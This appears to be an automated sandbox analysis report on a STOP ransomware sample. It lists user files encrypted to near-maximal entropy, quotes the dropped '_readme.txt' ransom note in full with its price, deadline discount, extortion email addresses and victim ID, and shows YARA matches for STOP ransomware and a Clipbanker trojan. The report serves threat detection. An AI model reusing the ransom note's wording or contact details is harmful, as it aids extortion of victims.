Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\darkTheme\acm_low_disk_space_online_only.svg entropy: 7.99630390885
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\imagestore\dikxvqf\imagestore.dat entropy: 7.99055795118
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\adm\OneDrive.adml entropy: 7.99471432634
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\am-ET\FileSync.LocalizedResources.dll.mui entropy: 7.99881519691
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin entropy: 7.99442966622
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\darkTheme\finderExtensionPrompt.svg entropy: 7.99584080057
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\en-US\msipc.dll.mui entropy: 7.9958653689
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\he\FileSync.LocalizedResources.dll.mui entropy: 7.99649881628
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ig-NG\FileSync.LocalizedResources.dll.mui entropy: 7.99856775073
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ThirdPartyNotices.txt entropy: 7.99590032893
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ja\FileSync.LocalizedResources.dll.mui entropy: 7.99851888267
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ko\FileSync.LocalizedResources.dll.mui entropy: 7.99852776609
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ku-Arab\FileSync.LocalizedResources.dll.mui entropy: 7.99383215582
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.99840183987
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.db entropy: 7.99843170661
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db entropy: 7.99821329563
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db entropy: 7.99831618931
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99833774153
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\Microsoft\Internet Explorer\DOMStore\GA0XG3F1\www.bing[1].xml entropy: 7.99875962587
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\flapper.gif entropy: 7.99721934119	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png entropy: 7.99094671707	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png entropy: 7.99396331293	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\darkTheme\kfm_folders_image.svg entropy: 7.99211560075
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\lightTheme\acm_low_disk_space_online_only.svg entropy: 7.99605241269
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\lightTheme\done_graphic.svg entropy: 7.99025058473
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\lightTheme\finderExtensionPrompt.svg entropy: 7.99526710076
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\images\lightTheme\folder_image_documents.svg entropy: 7.99192159907
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c863731-2a35-4444-9405-4d7cbb267ab4}\0.0.filtertrie.intermediate.txt entropy: 7.99183641623
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c863731-2a35-4444-9405-4d7cbb267ab4}\Apps.ft entropy: 7.99281406479
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{2c863731-2a35-4444-9405-4d7cbb267ab4}\Apps.index entropy: 7.99876519634
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{536fe6e8-a600-46a1-adbb-191db00f5995}\0.0.filtertrie.intermediate.txt entropy: 7.99103949604
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{536fe6e8-a600-46a1-adbb-191db00f5995}\Apps.ft entropy: 7.99273703708
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{536fe6e8-a600-46a1-adbb-191db00f5995}\Apps.index entropy: 7.99871144675
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\nso-ZA\FileSync.LocalizedResources.dll.mui entropy: 7.99029743124
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{91ed1363-4d6b-46a6-b5af-d1ee0e00268b}\0.0.filtertrie.intermediate.txt entropy: 7.99014171777
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{91ed1363-4d6b-46a6-b5af-d1ee0e00268b}\Apps.ft entropy: 7.99262014283
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{91ed1363-4d6b-46a6-b5af-d1ee0e00268b}\Apps.index entropy: 7.99878279768
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\pa-Arab-PK\FileSync.LocalizedResources.dll.mui entropy: 7.99637167206
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ac30bccc-f672-44da-81fe-b3f316bbd507}\0.0.filtertrie.intermediate.txt entropy: 7.99026027718
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ac30bccc-f672-44da-81fe-b3f316bbd507}\Apps.ft entropy: 7.99442743123
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ac30bccc-f672-44da-81fe-b3f316bbd507}\Apps.index entropy: 7.9987430163
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\appsconversions.txt entropy: 7.99403941778
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\appssynonyms.txt entropy: 7.99767606024
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\rw\FileSync.LocalizedResources.dll.mui entropy: 7.99716449323
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\settingsconversions.txt entropy: 7.99503561135
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\settingsglobals.txt entropy: 7.9950159432
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\settingssynonyms.txt entropy: 7.9976174437
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{13d888a1-0da9-488d-b29e-c632055a5b8d}\0.0.filtertrie.intermediate.txt entropy: 7.99843394049
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{13d888a1-0da9-488d-b29e-c632055a5b8d}\Settings.ft entropy: 7.99874765159
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7b0be05b-dd29-4634-bd2c-c09b9631250d}\0.0.filtertrie.intermediate.txt entropy: 7.998237632
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{7b0be05b-dd29-4634-bd2c-c09b9631250d}\Settings.ft entropy: 7.99856325981
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Messaging_8wekyb3d8bbwe\LocalCache\MessagingBackgroundTaskLog.etl entropy: 7.99297738514
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\ti\FileSync.LocalizedResources.dll.mui entropy: 7.99838926231
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\wo\FileSync.LocalizedResources.dll.mui entropy: 7.99869275521
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\xh-ZA\FileSync.LocalizedResources.dll.mui entropy: 7.9956248886
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\yo-NG\FileSync.LocalizedResources.dll.mui entropy: 7.9982607823
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-CN\FileSync.LocalizedResources.dll.mui entropy: 7.99796320318
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\19.086.0502.0006\zh-TW\FileSync.LocalizedResources.dll.mui entropy: 7.99830075129
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat entropy: 7.99725586109
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2019-06-27_113458_1850-1854.log entropy: 7.9978716096
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1 entropy: 7.99745726518
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat entropy: 7.99779745496
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm entropy: 7.9933042204
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl entropy: 7.99695428486
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat entropy: 7.99644028819
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl entropy: 7.99738642168
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl entropy: 7.99703999482
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1 entropy: 7.99501738601
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui entropy: 7.99013403458
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui entropy: 7.99588139821
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\chrome_installer.log entropy: 7.99237075024
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui entropy: 7.99015668004
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Office\MSO1033.acl entropy: 7.99566565374
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT entropy: 7.99615692743
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe entropy: 7.99873980315
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\MSIMGSIZ.DAT entropy: 7.9960114755
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Low\SmartScreenCache.dat entropy: 7.99833031083
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt19.lst entropy: 7.99807962222	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache.bin entropy: 7.9951655608	Jump to dropped file
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\chrome_installer.log.uyro (copy) entropy: 7.99237075024
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Application Data\Microsoft\Office\MSO1033.acl.uyro (copy) entropy: 7.99566565374
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Internet Explorer\MSIMGSIZ.DAT.uyro (copy) entropy: 7.99615692743
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\DismHost.exe.uyro (copy) entropy: 7.99873980315
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Low\MSIMGSIZ.DAT.uyro (copy) entropy: 7.9960114755
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Low\SmartScreenCache.dat.uyro (copy) entropy: 7.99833031083
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\AdobeSysFnt19.lst.uyro (copy) entropy: 7.99807962222
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache.bin.uyro (copy) entropy: 7.9951655608
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Internet Explorer\UrlBlock\urlblock_637194112741176080.bin.uyro (copy) entropy: 7.99442966622
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\OneDrive\19.086.0502.0006\ThirdPartyNotices.txt.uyro (copy) entropy: 7.99590032893
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.uyro (copy) entropy: 7.99840183987
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000016.db.uyro (copy) entropy: 7.99843170661
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000a.db.uyro (copy) entropy: 7.99821329563
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000b.db.uyro (copy) entropy: 7.99831618931
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.uyro (copy) entropy: 7.99833774153
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Messaging_8wekyb3d8bbwe\LocalCache\MessagingBackgroundTaskLog.etl.uyro (copy) entropy: 7.99297738514
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.uyro (copy) entropy: 7.99725586109
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1.uyro (copy) entropy: 7.99745726518
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.uyro (copy) entropy: 7.99779745496
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.uyro (copy) entropy: 7.9933042204
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl.uyro (copy) entropy: 7.99695428486
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.uyro (copy) entropy: 7.99644028819
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl.uyro (copy) entropy: 7.99738642168
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl.uyro (copy) entropy: 7.99703999482
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\Settings\settings.dat.LOG1.uyro (copy) entropy: 7.99501738601
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\AppxProvider.dll.mui.uyro (copy) entropy: 7.99013403458
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\CbsProvider.dll.mui.uyro (copy) entropy: 7.99588139821
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\DmiProvider.dll.mui.uyro (copy) entropy: 7.99015668004
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File created: C:\Users\user\Local Settings\Temp\F0AA5307-87B6-41CC-8AB9-9D4E70F644BD\en-US\IntlProvider.dll.mui.uyro (copy) entropy: 7.99409784357

Writes a notice file (html or txt) to demand a ransom

Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File dropped: C:\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-5ucwrds3edprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@fishmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0609djfsieek6te1ygpnibo4gcgoep3ihx1cffhbueguxrgm3xs
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File dropped: C:\Users\user\_readme.txt -> decrypt tool and unique key for you.this software will decrypt all your encrypted files.what guarantees you have?you can send one of your encrypted file from your pc and we decrypt it for free.but we can decrypt only 1 file for free. file must not contain valuable information.you can get and look video overview decrypt tool:https://we.tl/t-5ucwrds3edprice of private key and decrypt software is $980.discount 50% available if you contact us first 72 hours, that's price for you is $490.please note that you'll never restore your data without payment.check your e-mail "spam" or "junk" folder if you don't get answer more than 6 hours.to get this software you need write on our e-mail:support@fishmail.topreserve e-mail address to contact us:datarestorehelp@airmail.ccyour personal id:0609djfsieek6te1ygpnibo4gcgoep3ihx1cffhbueguxrgm3xs
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt -> decryption;device devices;encode encodes;encryption encryptions;locker;protection;secure;tpm"}},{"system.parsingname":{"type":12,"value":"aaa_settingsgrouppcsystemsupportinfo.settingcontent-ms"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagepcsysteminfo"},"system.setting.groupid":{"type":12,"value":"settingsgrouppcsystemsupportinfo"},"system.comment":{"type":12,"value":"get pc support info"},"system.highkeywords":{"type":12,"value":"help;support"}},{"system.parsingname":{"type":12,"value":"aaa_settingsgrouppcsystemtouchkeyboard.settingcontent-ms"},"system.setting.glyph":{"type":12,"value":""},"system.setting.pageid":{"type":12,"value":"settingspagetimeregionspelling"},"system.setting.groupid":{"type":12,"value":"settingsgrouppcsystemtouchkeyboard"},"system.comment":{"type":12,"value":"touch keyboard settings"},"system.highkeywords":{"type":12,"value":""}},{"system.parsingname":{"type":12,"value":"aaa_settingsgrouppcsystemwindowsinfo.settingcontent-
Source: C:\Users\user\Desktop\U59WtZz2Sg.exe	File dropped: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{4b01d48e-72ca-4621-8570-a88f4a6b1ec4}\appsglobals.txt -> encryptiondesktop.desktop11814{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\elcomsoft password recovery\advanced archive password recovery\archpr.exe11815steam://rungameid/37200011815e1354d8c.581001032d2e9_97d7ef5pp7jwp!app11815xiaomi.miui.miphonemanager11816c:\gog games\the witcher 3 wild hunt\bin\x64\witcher3.exe11816sony.vaio.vaiomoviecreator11817prosiebensat.1digitalgmbh.7tv_fzbtnr0mjybby!app11818{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\adobe\adobe digital editions 3.0\digitaleditions.exe11818{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\intel\intel(r) ssd toolbox\intel ssd toolbox.exe11818{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\nuance\naturallyspeaking14\program\natspeak.exe1181946436stefanpodskubka.remoteterminal_gtq1wtggx9tf0!app11819{6d809377-6af0-444b-8957-a3773f02200e}\tigervnc\vncviewer.exe11820{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\mimo\mimo.exe11820desi..tion_edb36ae7cf19da31_e81d836730e1eada11821{7c5a40ef-a0fb-4bfc-874a-c0f2e0b9fa8e}\prtg network monitor\enterprise co

System Summary

Malicious sample detected (through community Yara rule)

Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: dump.pcap, type: PCAP	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_f9f9e79d Author: unknown
Source: 5.3.U59WtZz2Sg.exe.3060000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Clipbanker_787b130b Author: unknown
Source: 9.0.U59WtZz2Sg.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 5.0.U59WtZz2Sg.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
